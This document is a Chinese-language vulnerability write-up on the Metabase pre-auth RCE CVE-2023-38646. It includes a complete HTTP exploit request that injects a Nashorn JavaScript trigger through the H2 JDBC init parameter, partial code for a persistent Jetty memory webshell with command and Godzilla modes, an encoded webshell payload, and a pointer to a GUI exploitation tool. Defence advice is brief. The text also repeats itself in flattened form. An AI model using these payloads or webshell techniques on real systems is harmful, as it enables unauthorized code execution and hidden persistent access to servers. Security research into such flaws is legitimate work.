Metabase RCE 内存马构造及GUI工具(CVE-2023-38646)
字数 1217 2025-08-24 10:10:13

Metabase RCE漏洞分析及内存马构造指南 (CVE-2023-38646)

漏洞概述

Metabase是一个开源的数据分析和可视化工具。2023年7月发现的CVE-2023-38646漏洞允许攻击者通过未授权访问获取setup-token,进而重置JDBC连接URL,导致H2数据库远程代码执行(RCE)。该漏洞源于Metabase中残留的setup-token未授权访问问题,结合H2数据库的特性可实现完整的攻击链。

漏洞环境搭建

  1. 下载受影响版本的Metabase jar包:
    https://downloads.metabase.com/v0.46.6/metabase.jar
    
  2. 运行环境要求:
    • JDK版本必须≥11
    • 启动命令:java -jar metabase.jar

漏洞原理分析

漏洞触发流程

  1. 获取setup-token:通过未授权访问/api/session/properties获取setup-token
  2. 验证端点利用:向/api/setup/validate发送恶意POST请求
  3. JDBC注入:通过控制H2数据库的init参数实现RCE

关键漏洞点

  1. setup-token未授权访问:新版本中删除了setup-token的残余访问点,但旧版本仍存在
  2. H2数据库RCE:通过zip协议加载db文件并控制init参数执行恶意代码
    "init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS 
    

\[//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A \]

"

3. **JavaScript引擎执行**:Metabase使用nashornScriptEngine执行以`//javascript`开头的语句

### 利用限制条件

1. 必须知道jar包的具体位置
2. 环境变量需配置java,且在当前目录执行`java -jar metabase.jar`
3. 可使用`./metabase.jar!/xxxx`获取文件位置

## 漏洞利用方法

### 基础命令执行

```json
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
"token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
"details": {
 "db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
 "init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS 
$$
//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A
$$
"
}
}

回显策略

通过反射绕过限制,执行系统命令并获取输出:

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}

function getUnsafe() {
  var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  theUnsafeMethod.setAccessible(true);
  return theUnsafeMethod.get(null);
}

// 完整反射绕过代码...

内存马构造

Jetty内存马实现

针对Jetty 11环境的内存马实现要点:

  1. 获取HttpConnection对象:通过Unsafe类遍历线程获取
  2. 注册Customizer:相当于Tomcat中的value型内存马
  3. 支持两种模式
    • CMD模式:执行系统命令
    • 哥斯拉内存马:支持加密通信
public class EvilCustomizer implements HttpConfiguration.Customizer {
    // 关键实现代码...
    
    @Override
    public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) {
        try {
            if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
                // 执行命令逻辑...
            } else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
                // 哥斯拉内存马逻辑...
            }
        } catch (Exception e) {}
    }
}

哥斯拉内存马payload

{
  "init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS 
$$
//javascript\u000A\u0009eval(decodeURIComponent('try%20%7B%0A%20%20load(%22nashorn%3Amozilla_compat.js%22)%3B%0A%7D%20catch%20(e)%20%7B%7D%0A//%20完整JavaScript代码...%0A'))\u000A
$$
"
}

自动化工具

GitHub上的MetabaseRceTools工具提供GUI界面简化利用过程:

https://github.com/Boogipop/MetabaseRceTools

工具使用前提:

  1. 存在setup-token泄露
  2. 知道jar文件的具体位置

漏洞修复与防御

  1. 官方修复:新版本移除了setup-token的显示,但未从根本上修复漏洞
  2. 防御建议
    • 升级到最新版本
    • 限制未授权访问
    • 监控异常数据库连接请求

总结

该漏洞展示了从未授权访问到RCE的完整攻击链,关键点在于:

  1. 利用未授权获取的setup-token
  2. 通过H2数据库的init参数注入JavaScript代码
  3. 高版本JDK环境下内存马的构造技术

Jetty 11与JDK 11环境下的内存马实现需要特殊处理,反映了Java安全防护技术的演进与对抗。

Metabase RCE漏洞分析及内存马构造指南 (CVE-2023-38646) 漏洞概述 Metabase是一个开源的数据分析和可视化工具。2023年7月发现的CVE-2023-38646漏洞允许攻击者通过未授权访问获取setup-token,进而重置JDBC连接URL,导致H2数据库远程代码执行(RCE)。该漏洞源于Metabase中残留的setup-token未授权访问问题,结合H2数据库的特性可实现完整的攻击链。 漏洞环境搭建 下载受影响版本的Metabase jar包: 运行环境要求: JDK版本必须≥11 启动命令: java -jar metabase.jar 漏洞原理分析 漏洞触发流程 获取setup-token :通过未授权访问 /api/session/properties 获取setup-token 验证端点利用 :向 /api/setup/validate 发送恶意POST请求 JDBC注入 :通过控制H2数据库的init参数实现RCE 关键漏洞点 setup-token未授权访问 :新版本中删除了setup-token的残余访问点,但旧版本仍存在 H2数据库RCE :通过zip协议加载db文件并控制init参数执行恶意代码 JavaScript引擎执行 :Metabase使用nashornScriptEngine执行以 //javascript 开头的语句 利用限制条件 必须知道jar包的具体位置 环境变量需配置java,且在当前目录执行 java -jar metabase.jar 可使用 ./metabase.jar!/xxxx 获取文件位置 漏洞利用方法 基础命令执行 回显策略 通过反射绕过限制,执行系统命令并获取输出: 内存马构造 Jetty内存马实现 针对Jetty 11环境的内存马实现要点: 获取HttpConnection对象 :通过Unsafe类遍历线程获取 注册Customizer :相当于Tomcat中的value型内存马 支持两种模式 : CMD模式:执行系统命令 哥斯拉内存马:支持加密通信 哥斯拉内存马payload 自动化工具 GitHub上的MetabaseRceTools工具提供GUI界面简化利用过程: 工具使用前提: 存在setup-token泄露 知道jar文件的具体位置 漏洞修复与防御 官方修复 :新版本移除了setup-token的显示,但未从根本上修复漏洞 防御建议 : 升级到最新版本 限制未授权访问 监控异常数据库连接请求 总结 该漏洞展示了从未授权访问到RCE的完整攻击链,关键点在于: 利用未授权获取的setup-token 通过H2数据库的init参数注入JavaScript代码 高版本JDK环境下内存马的构造技术 Jetty 11与JDK 11环境下的内存马实现需要特殊处理,反映了Java安全防护技术的演进与对抗。